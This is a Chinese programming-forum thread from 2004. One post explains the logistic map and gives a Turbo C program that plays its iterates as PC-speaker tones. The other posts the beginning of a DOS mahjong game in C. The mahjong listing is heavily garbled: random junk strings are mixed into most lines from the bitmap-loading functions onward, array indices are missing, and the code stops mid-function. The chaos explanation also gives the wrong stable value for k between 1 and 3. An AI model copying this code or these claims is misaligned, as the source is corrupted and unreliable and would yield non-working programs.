发表于 2004-10-4 02:38 |只看该作者 |招呼Ta 关注Ta

<DIV align=center>聆听混沌的声音</DIV><DIV align=center> </DIV><DIV align=center><

>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
<

>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：

　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
　　＃include <DOS.H>
　　＃include <STDIO.H>
　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
　　fDis=fMax－fMin;
　　for(j=1;;j＋＋){
　　printf("

lease input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
　　if (k==0) break;
　　for(i=1;i<100;i＋＋) /＊去除开始的100个点＊/
　　x=k＊x＊(1－x);
　　for (i=1;i<100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
　　delay(1000); }
　　nosound(); }}
　　执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</DIV>

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

1^#

发表于 2004-10-4 02:36 |只看该作者 |招呼Ta 关注Ta

<

>.:.:上海黑暗之龙--麻将原代码:.:.<DIV 626px; HEIGHT: 132px" align=left><

align=left>部分图片未上传
/*天宇软件
作者：上海黑暗之龙
2002/10/30
麻将原代码*/
#include "dos.h"
#include "stdio.h"
#include "graphics.h"
#include "bios.h"
#include "conio.h"
#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
#define SETVGA Set_Video_Mode(VGA256)
#define OUTVGA Set_Video_Mode(TEXT_MODE)
#define BYTE unsigned char
#define WORD unsigned int
#define DWORD unsigned int
#define ESC 283
#define LEFT 19200
#define RIGHT 19712
#define H 9064
#define ENTER 7181
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
struct chi
{
int lg;
int lgg;
}ch[13];
struct mj
{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
struct every
{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
int p;
int g;
int c;
int d[2];
};
struct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
int c; /*吃对方*/
int g; /*杠*/

struct every pp[14]; /*存放手上的牌*/
}me;
struct computer
{ int m;
int p;
int c;
int g;
struct every pp[14];
}computer,comp;

/* 设置调色板 */
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
outportb(0x3c9,b);
}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
void Set_Video_Mode(int mode)
{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&inregs,&outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
}
void v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
if(y0>y1)
{
temp=y1;
y1=y0;
y0=temp;
}
address=320*y0+x;
for(n=0;n<=y1-y0;n++)
{
video_buffer[address]=color;
address+=320;
}
}
void h_line(int x0,int x1,int y,unsigned int color)
{ unsigned int address,n,temp;
if(x0>x1)
{
temp=x1;
x1=x0;
x0=temp;
}
address=320*y+x0;
for(n=0;n<=x1-x0;n++)
{
video_buffer[address]=color;
address+=1;
}
}
void p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
}
void s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
h_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
v_line(y,y+side,x+side,color);
}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
{
h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
v_line(y1,y2,x2,color);
}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
{
int i;
for(i=y1;i<=y2;i++)
{
h_line(x1,x2,i,color);
}
}
void showbmp(int l)
{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette[2]=fgetc(bmp)>>2;8 e# ]3 B1 t2 m
palette[1]=fgetc(bmp)>>2;
* i0 z. T1 X+ dpalette[0]=fgetc(bmp)>>2;2 j: v- q4 i9 r4 W
fgetc(bmp);
 ?- R6 p, w$ ISet_Palette(i,palette[0],palette[1],palette[2]);
% a' K' W) }3 m$ J% o}
5 P# a' t o+ q7 D8 Z- Zfor (y=0;y<30;y++) i' c. W- [2 ]5 B
for(x=0;x<20;x++): n) x4 a% c o& }5 B' ~2 V- J3 W
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
4 }$ P: X0 P+ L: }( M* @fclose(bmp);" ^+ Z8 h/ Z: Q% y7 @
}
' |8 C9 @$ }6 j4 u8 n: ?void showbmpd(int l)4 p! d0 K# e( [! L) A
{ FILE *bmp;
/ Z' c/ s6 X8 R; xint i,x,y; n9 S- e& w( o0 b! X: @, }7 N3 B
BYTE palette[256][3];
! A; M7 e8 m7 [4 Dbmp=fopen(me.pp[l].k,"rb");6 s/ N; k) e$ ^! o! B
fseek(bmp,54,SEEK_SET);5 P! k! ^: @) L+ P( d. O0 A9 ?
for(i=0;i<256;i++)- _4 w0 t6 l/ v# k, I: l9 l
{
+ ?- b7 ?3 A+ Dpalette[2]=fgetc(bmp)>>2;
7 F( S. D, z0 npalette[1]=fgetc(bmp)>>2;
% Q: }) N2 u: M1 t( N# }' Z7 Npalette[0]=fgetc(bmp)>>2;( s4 y: V2 u( _/ s2 ]) |$ R
fgetc(bmp);
/ S1 Q% G6 P% l3 L7 C4 d, ASet_Palette(i,palette[0],palette[1],palette[2]);6 Q. D# P/ _7 \0 v6 b8 @
}
5 \! \1 S. H9 v/ [& o1 L" ?. afor (y=0;y<30;y++)7 X5 t; V# R% ]
for(x=0;x<20;x++)
& q2 t' r3 U. `& Ypokeb(0xa000,y*320+x+zyy,fgetc(bmp));( \& S! J$ ~9 t7 z7 ^- s4 ?& G1 }" X
fclose(bmp);
, t8 K9 _7 e5 V; \) O* H$ Q! q}
0 I! n8 i, q. A! s( K! Svoid showybmp(int ll)
; m/ [: b4 @: }6 r{ FILE *bmp;
4 I2 E+ _& Y% L4 n! L0 H+ G8 r6 hint i,x,y;, q3 K3 b* `% E% K8 U1 `3 U- ?
BYTE palette[256][3];/ E+ ^. x3 x' G" j; d: P# l6 |
bmp=fopen(computer.pp[ll].k,"rb");
2 j- O0 k; p/ b0 ^fseek(bmp,54,SEEK_SET);: |( \* d; k- i) `3 Y0 g8 B
for(i=0;i<256;i++)3 L0 X7 t+ J' R% |
{' y1 t7 x$ W$ e
palette[2]=fgetc(bmp)>>2;
( {- i) [& n, rpalette[1]=fgetc(bmp)>>2;" R( y4 h, E0 i& _5 \
palette[0]=fgetc(bmp)>>2;
( I, [+ s, y: |+ Xfgetc(bmp);& ]2 b/ S$ H' B2 S6 y
Set_Palette(i,palette[0],palette[1],palette[2]);' V D$ y4 R4 R( U5 A
}9 v$ Q' G5 A$ Y3 s7 r. |4 M
for (y=0;y<30;y++)
0 B* Y* `7 O3 t$ a5 y) M" jfor(x=0;x<20;x++)
2 K3 {. I& ]# } L9 T# Opokeb(0xa000,y*320+x+zy,fgetc(bmp));
8 D9 y$ }2 m% e- [( `fclose(bmp);
& H' B* I5 W1 ~5 g# f5 U8 \}
' ?5 y. q+ c' Z0 ivoid showcbmp(int ll)
# ]( B5 a5 H+ w* ~5 ?0 F7 F{ FILE *bmp;
, ^6 U- w* |" A' |, P4 Z5 a9 kint i,x,y;$ }. ?! ]+ @, w2 P8 n
BYTE palette[256][3];
% X" ^7 E0 S0 n* A% R. l# Pbmp=fopen(computer.pp[ll].k,"rb");
" S) Z4 w7 S7 P6 ]- k% rfseek(bmp,54,SEEK_SET);" F! t, z* \4 k9 g! A4 u
for(i=0;i<256;i++)
7 i; A$ Z8 C) ~: N) Y/ z{
8 f7 M% H9 P$ u0 Q4 C, Rpalette[2]=fgetc(bmp)>>2;
, D* Y( o" N! d1 Mpalette[1]=fgetc(bmp)>>2;
* Q# a. b/ J! T5 o- F9 [palette[0]=fgetc(bmp)>>2;! k& K6 _/ Y! R: U
fgetc(bmp);# V4 a# v- y" a [5 x4 [5 i8 t
Set_Palette(i,palette[0],palette[1],palette[2]);$ }7 s/ V9 [: u2 x4 T
}
. W3 P, f3 l1 [/ v, k" Rfor (y=0;y<30;y++)
4 ~" Y- N+ d4 ^, U# Mfor(x=0;x<20;x++), r* ^3 x* [- Q$ @
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));, i8 W5 K9 D! C) L1 A3 x
fclose(bmp);. C' F* K" D( J9 z" o
}( f( b' ~* N* ^# ~# z
void bmpp(int number)3 P' e$ E% } h* U+ e( l
{ FILE *bmp;
# F: r! N5 @, I) L7 Uint i,x,y;" w6 Q7 A3 X: l" { Q
BYTE palette[256][3];
& p& S, X3 u1 V U8 ebmp=fopen(m[number].name,"rb");. I: b0 X9 n* b. G: l4 @& m/ `
fseek(bmp,54,SEEK_SET);
0 _* N0 \! [( N5 L, Z3 sfor(i=0;i<256;i++)
2 r* y7 t/ A0 m; i, q0 E{
 k1 M. ?2 s9 D& r+ w$ F4 R2 [0 ~palette[2]=fgetc(bmp)>>2;8 K: r: q& X8 @ I" I& A
palette[1]=fgetc(bmp)>>2;
" d3 d2 v7 M; A$ Z: `- upalette[0]=fgetc(bmp)>>2;: C' [: z# Q* K7 Y# E% u
fgetc(bmp);) F# c) o- x% w
Set_Palette(i,palette[0],palette[1],palette[2]);! w) S* q! \4 ^; m
} D' q2 p; r2 G
for (y=0;y<30;y++)5 U" E' v0 y! F2 N; o% b
for(x=0;x<20;x++)9 s( m% M2 ^# E8 P' A
pokeb(0xa000,y*320+x+zl,fgetc(bmp));! m; x4 p1 t9 `; i7 l
fclose(bmp);! T# G# U2 }/ H. W9 z* ]3 x
}
& g! O: X4 a: f+ i2 I1 kvoid comlipai() /*整理电脑的牌*/+ ~- F7 d7 d0 ?: ]8 G1 C
{ int n,j,u;; r0 C6 g7 A7 c% @
int *lingshi;9 `, ^- ~/ z) @+ G
for(n=0;n<computer.m;n++)
4 i3 }" a- ?3 l. S$ y( Hfor(j=n;j<computer.m;j++). {/ M3 v8 Z( ]. d
{
- y z+ ^4 D% g6 k9 |6 Nif(computer.pp[n].number>computer.pp[j+1].number)
, x/ Y* w* M2 k; t: s5 h8 ~{6 h4 d7 b- b6 m2 M* {, H
lingshi=computer.pp[n].k;
 h2 |: k" G9 vcomputer.pp[n].k=computer.pp[j+1].k;1 U. C9 ~0 o: T' v& e7 A$ X* Q
computer.pp[j+1].k=lingshi;( s9 e) P) L6 P& F. v
u=computer.pp[n].oneorfour;+ @( D. L- y( U: E) D
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
$ U) p0 T1 j! K J: S: W" Lcomputer.pp[j+1].oneorfour=u;' n3 w% n& x9 C! s2 G; A+ U2 U% m4 ]
u=computer.pp[n].number;0 A5 t. n) T5 n' ^$ o& B' I% q/ ~
computer.pp[n].number=computer.pp[j+1].number;7 g' [7 R9 J) g" E: `1 E0 u
computer.pp[j+1].number=u;6 d- [; Z1 K) [9 L1 C
}* F4 Z8 b/ c/ D
else/ m3 S0 p' g0 o7 }: [" a; Q+ F3 L
if(computer.pp[n].number==computer.pp[j+1].number)
4 J' S x, J, j1 i. Oif(computer.pp[n].oneorfour>computer.pp[j+1].oneorfour)
5 O6 r+ D3 V4 K{: i% L9 p9 @7 _
lingshi=computer.pp[n].k;) P) [4 z* ~! N& J* B
computer.pp[n].k=computer.pp[j+1].k;
" a$ T. E" \$ E& f/ q! o9 Acomputer.pp[j+1].k=lingshi;
* p3 Z/ N5 d( K: uu=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;( U) d- [6 k, F; R! D, x
computer.pp[j+1].oneorfour=u;- T/ g) v- `6 U9 ]8 Z
u=computer.pp[n].number;+ ^; ^: I% |/ C# }' g0 Y, f
computer.pp[n].number=computer.pp[j+1].number;1 b( W2 ~* R p5 }
computer.pp[j+1].number=u;- L0 c' c: F, \; }* m
}' E' V' l% J y- ^4 M7 M
}) Z/ S: ^$ U" @! ?# R! R
}
1 W* f3 l+ E" V4 ^void melipai()5 P" s* Y. q' T0 L& f
{ int n,j,u;% b% E4 O0 Y3 B2 y
int *lingshi;
! @' }, U, v9 E9 i( ~( Bfor(n=0;n<me.m;n++)
' V2 J d2 n1 e- n. X9 Ofor(j=n;j<me.m;j++)
9 X) _5 R M- |( ?8 I6 i8 E- B{
2 |& }% m0 X- {9 H4 f1 mif(me.pp[n].number>me.pp[j+1].number)
: h) h# L) B, K% P1 w8 [1 `{
& }' O$ ?5 ?. R3 klingshi=me.pp[n].k;+ G! v5 ?; y8 K* Z" @
me.pp[n].k=me.pp[j+1].k;% Z- i7 v# a/ @* Y
me.pp[j+1].k=lingshi;
, a; ^' Q R: f7 J0 Ru=me.pp[n].oneorfour;
( M* ^+ ^; [, I* A' Zme.pp[n].oneorfour=me.pp[j+1].oneorfour;. _- y! Z! ^2 G, q2 `% w
me.pp[j+1].oneorfour=u;! C5 j5 h; a: x: o9 l5 G
u=me.pp[n].number;
6 H! t7 E. Q7 S' z5 N1 }me.pp[n].number=me.pp[j+1].number;3 Y' M9 q; k; t) L- F
me.pp[j+1].number=u;) g- M& I8 g, U* u: X5 }
}- y/ C" q$ I8 {$ \; a! Y
else' O1 a4 c! _, S [& O
if(me.pp[n].number==me.pp[j+1].number), x1 a% e3 g' x8 @$ P
if(me.pp[n].oneorfour>me.pp[j+1].oneorfour)
{
" F1 R) h- Z N% o7 j' ^lingshi=me.pp[n].k;- p' U' i; T, n
me.pp[n].k=me.pp[j+1].k;$ Y" C: a2 S |# ~% v. J
me.pp[j+1].k=lingshi;
% N3 O( `: B, J% Ju=me.pp[n].oneorfour;
& f3 N9 q a3 L8 _( dme.pp[n].oneorfour=me.pp[j+1].oneorfour;4 U6 q/ |9 W: O1 T/ R i0 b
me.pp[j+1].oneorfour=u; ]* Z* y" t. V- b
u=me.pp[n].number;% N+ S! p( Z5 \. m5 T
me.pp[n].number=me.pp[j+1].number;
- ?* p6 S$ ^& p, v w Bme.pp[j+1].number=u;
5 t) i' g1 K( m# K" x u8 A4 x}
8 P, z$ C* H9 J$ D}
: T0 e! L; e( T}
8 G% s# u# s& Z& A [void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
6 A- p* e: Q* F( u- k4 A0 W0 v9 y2 Y{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0; C1 [1 n& @- Z0 U, U& Q
if(me.pp[c].number<=35 && me.pp[c].number>=0)5 c3 T2 l; p- d% }
{
# X+ H& N, P S/ Wlogo=1;& ?' l0 H5 _) B3 Z
if(me.pp[c].number<=3 && me.pp[c].number>=0)
7 i. h7 V; h* G) F. glogoo=1;7 Y; ?& p" L& q. |0 f
else if(me.pp[c].number<=7 && me.pp[c].number>=4)8 ^7 X9 I# b2 M8 a w; o& Z9 R
logoo=2;' M+ m8 w3 Z n" }3 u5 U. b
else if(me.pp[c].number<=11 && me.pp[c].number>=8)+ P, I5 K1 Y5 W4 R: u
logoo=3;
/ _- p) N$ F! o) nelse if(me.pp[c].number<=15 && me.pp[c].number>=12)8 m6 n# P% K) O# ~- N
logoo=4;9 o+ o) K/ v. s8 S5 v
else if(me.pp[c].number<=19 && me.pp[c].number>=16)+ M7 W! I' _! h6 Z3 H
logoo=5;% n' J/ Q3 v9 e
else if(me.pp[c].number<=23 && me.pp[c].number>=20)1 v3 f* \( w. {, H2 A
logoo=6;
- H* v: E( j5 x/ J5 ~else if(me.pp[c].number<=27 && me.pp[c].number>=24)
$ C' s4 V# I0 u$ q# _, [logoo=7;
# l8 {- \5 {1 q( `6 V+ `else if(me.pp[c].number<=31 && me.pp[c].number>=28)) a; X! n0 U3 y% @, X2 p8 M" [9 A
logoo=8;
) c. O! n% e3 eelse if(me.pp[c].number<=35 && me.pp[c].number>=32)
) B5 J7 D4 b. z8 `/ x; ?logoo=9;
- Y! J: e" F8 c3 h, V- j8 ^} M2 Z/ I) a( d+ m
else if(me.pp[c].number<=71 && me.pp[c].number>=36)
, F; b7 o5 u' y. N# E9 Q{" A$ z3 {" W1 C% k+ x$ L/ p2 T
logo=2;
! T8 N+ ^( D( i+ b: m9 Qif(me.pp[c].number<=39 && me.pp[c].number>=36)
! w+ p* \0 u) w8 @logoo=1;
% I0 r$ U( U4 z9 N' Lelse if(me.pp[c].number<=43 && me.pp[c].number>=40)
5 }2 z# s) n+ M* `+ v, J3 M5 klogoo=2;% c0 Z7 @' j. W9 q k5 y* \
else if(me.pp[c].number<=47 && me.pp[c].number>=44)
! X, t( |+ E/ E1 p8 blogoo=3;) a8 j; F s: G
else if(me.pp[c].number<=51 && me.pp[c].number>=48)$ E1 l6 Q, \9 W, ]+ b; a& l& \
logoo=4;5 A }# f& U" c" j; w
else if(me.pp[c].number<=55 && me.pp[c].number>=52)
 A) M X5 R/ ~, Nlogoo=5;# r6 u. x( a( K7 ^% p2 f# Y
else if(me.pp[c].number<=59 && me.pp[c].number>=56)
/ Y" }5 T: k. Z Tlogoo=6;+ O6 T: ]; N9 \' b6 `
else if(me.pp[c].number<=63 && me.pp[c].number>=60)
$ m1 H" C9 a: A- f" ?. \1 Xlogoo=7;& X- @% G, M5 p% k0 R7 Y
else if(me.pp[c].number<=67 && me.pp[c].number>=64)+ ~6 s) _" R; z5 a$ u4 i2 d; @% V
logoo=8;
+ R" @7 r" j' ?' z! h( C; welse if(me.pp[c].number<=71 && me.pp[c].number>=68)
( H$ P2 M. ]7 m) p [logoo=9;
7 S$ g- a6 j# x}3 `+ k1 {# w+ E, v7 h$ V
else if(me.pp[c].number<=107 && me.pp[c].number>=72)
; x0 R5 I, ^' ]% Y{6 l. d8 y1 @2 ~+ `9 o
logo=3;, F: |. a1 C! R7 e& m
if(me.pp[c].number<=75 && me.pp[c].number>=72)
4 P+ M0 H# E% l/ o" ]7 ologoo=1;
$ Z2 ~. u/ U# celse if(me.pp[c].number<=79 && me.pp[c].number>=76)8 Y4 C. @& z# ?3 R' x: }5 v
logoo=2;
- u; i" @! g8 d( }& p/ l/ _( Eelse if(me.pp[c].number<=83 && me.pp[c].number>=80)4 M( V1 }0 l5 h
logoo=3;
$ @- ~0 \, m; G- H# }else if(me.pp[c].number<=87 && me.pp[c].number>=84)
, l# y! I3 ~6 j# m' p4 A Tlogoo=4;" i" y7 N. G- Q) F* k0 J" y
else if(me.pp[c].number<=91 && me.pp[c].number>=88)( J, u8 W' t( @! f3 x0 P; B9 _3 f( e5 Q
logoo=5;
$ O1 p$ B5 |( R* R/ n# J- \else if(me.pp[c].number<=95 && me.pp[c].number>=92)
* F" E5 O" a7 @* M& v$ glogoo=6;/ N/ l, j& L0 G. |/ h. Y. _6 ?
else if(me.pp[c].number<=99 && me.pp[c].number>=96)/ T; q, W6 |1 I" R( ~, s
logoo=7;* Z4 s; U: m/ M" `3 ~3 T
else if(me.pp[c].number<=103 && me.pp[c].number>=100)' w5 y& Z- `2 k2 b i) X% d
logoo=8;
& X9 P7 q9 S0 D! M yelse if(me.pp[c].number<=107 && me.pp[c].number>=104)
( v/ K7 S* C" C. q- Wlogoo=9;9 A, ?& @" Y, N& o" x+ e
}
" Q- u; I& Z( [# l- }else if(me.pp[c].number<=135 && me.pp[c].number>=108)
* ~6 ], `! Y7 s7 C{6 Z9 N/ S% B, ~% U" O$ V
logo=4;
# y6 U6 W5 V3 G0 q$ pif(me.pp[c].number<=111 && me.pp[c].number>=108)
* y- _. |+ W ^9 X) Q9 _. Mlogoo=1;
2 O% }3 R/ E' h+ uelse if(me.pp[c].number<=115 && me.pp[c].number>=112)
2 K1 c: Z( a- |7 d/ @- u+ A2 nlogoo=2;- f) A2 J: a* z1 W3 q
else if(me.pp[c].number<=119 && me.pp[c].number>=116)
( V. p: |1 s) Rlogoo=3;
. s3 @% _; ]9 T( M, Helse if(me.pp[c].number<=123 && me.pp[c].number>=120)% q3 B. C7 m7 ?) N5 X
logoo=4;
2 Z3 a* q) \. k- {; ?else if(me.pp[c].number<=127 && me.pp[c].number>=124)
0 a! V. G) C: _+ r7 p g. ^. U5 Dlogoo=5;
# l8 K& A1 w- j5 \else if(me.pp[c].number<=131 && me.pp[c].number>=128). M! u8 I n6 j2 U: R' |$ R* E
logoo=6;7 J" L' p! `) g1 K2 M& l
else if(me.pp[c].number<=135 && me.pp[c].number>=132)
8 [3 w l# D! W0 A1 k- llogoo=7;
& u9 r6 l2 g* a}# |* b/ V1 K" p, W6 [6 M7 s
while(b<=computer.m). V+ V% f" L4 n" k
{2 C$ S. @* V+ v
if(computer.pp.number<=35 && computer.pp.number>=0) /*假定电脑经过分析后出了第一张牌*/% w$ W8 |; }2 h% |( F O
{
) j! C# Y0 n ]1 e6 c. Slg=1;
# ` o i. t' p9 A% b h+ zcomputer.pp.d[0]=1;
2 ^ {; X% W8 Q8 B3 k- n- Vif(computer.pp.number<=3 && computer.pp.number>=0)1 }. e4 M& C9 j7 s M
{
/ T" t/ T4 b, K& Y5 l- k4 jlgg=1;# ^: ]: ~6 a# E0 N1 B0 a
computer.pp.d[1]=1;
8 i$ @$ b' {# b3 q7 z% T}
& S, v- t9 ^, R4 Q1 p2 {7 helse if(computer.pp.number<=7 && computer.pp.number>=4)
8 L. f/ Z1 `& w) F7 m3 y( ?{! {9 X* F! B8 t6 s4 @
lgg=2;
& p5 X* ^: `6 r* n: c8 f& e' Rcomputer.pp.d[1]=2;
, A# n. { t5 s- \$ w: O0 u}
8 o+ [/ E7 L, z8 k zelse if(computer.pp.number<=11 && computer.pp.number>=8)" d; l( E# e8 r# h7 Q) h6 z9 k- l
{' n% `/ V; v/ j4 B, A5 V% f
lgg=3;
8 s: _: p; T, @+ b. y0 J0 G( hcomputer.pp.d[1]=3;
0 _' ]/ g+ x" O! v}" V3 @ h; A' m0 h% P8 x
else if(computer.pp.number<=15 && computer.pp.number>=12)( P; x1 U; e7 R) O1 @+ x
{
1 {! Y( x! z: F8 W8 plgg=4;
0 {1 K y& {! z& M& b" T tcomputer.pp.d[1]=4;; |- ~ p; o8 i7 D
}3 i J2 o& D) q0 y$ I2 _4 W, c4 @
else if(computer.pp.number<=19 && computer.pp.number>=16)
7 ~* K( D; Q6 a/ F( j{6 n$ L! b$ ?+ U( f% S
lgg=5;
$ j# x4 W& B: [( q" q% w( j. `computer.pp.d[1]=5;
( F# X. S- \6 P6 B}- d- _4 k3 v" T) {( {% b
else if(computer.pp.number<=23 && computer.pp.number>=20)* L: r/ _' o) f
{- t5 ]1 J- L& r& G. V
lgg=6;
" O* u: S% h7 X' p- |; R; kcomputer.pp.d[1]=6;
& d$ A, q' s- u( G( e}, _7 b: X( H/ R5 m T
else if(computer.pp.number<=27 && computer.pp.number>=24)
+ |2 N3 Q: n7 n9 }3 d' [" M( U# `{: g3 `& {1 [* d' d2 b, w! A
lgg=7;4 n) b: M2 K; x4 S J
computer.pp.d[1]=7;' \( ]* K9 \! z6 W- D
}4 `( ?1 ?9 i- \
else if(computer.pp.number<=31 && computer.pp.number>=28)
' R& e& T5 }5 a{7 y* h' H. ?% z# ^* _% R
lgg=8;& O. s2 }8 y" q' y* p" f2 Y& d' T. W
computer.pp.d[1]=8;6 ^; f9 J4 ?' N& t" j3 m; r
}
6 r! R W) b2 Q$ t" M9 K5 telse if(computer.pp.number<=35 && computer.pp.number>=32)
( b3 [ M; Y- y4 l" M{2 x: t7 ~( L ?0 \; D5 X+ ]
lgg=9;
" p' d/ [5 a4 e6 _+ D" N. o( {computer.pp.d[1]=9;: x M5 F) n6 }" [) p1 ~
}
& G1 b6 L6 N2 e) ]7 G2 u) w}
1 x H, A5 U$ R0 M6 @9 r8 Melse if(computer.pp.number<=71 && computer.pp.number>=36): S: H0 r" I+ T+ j
{
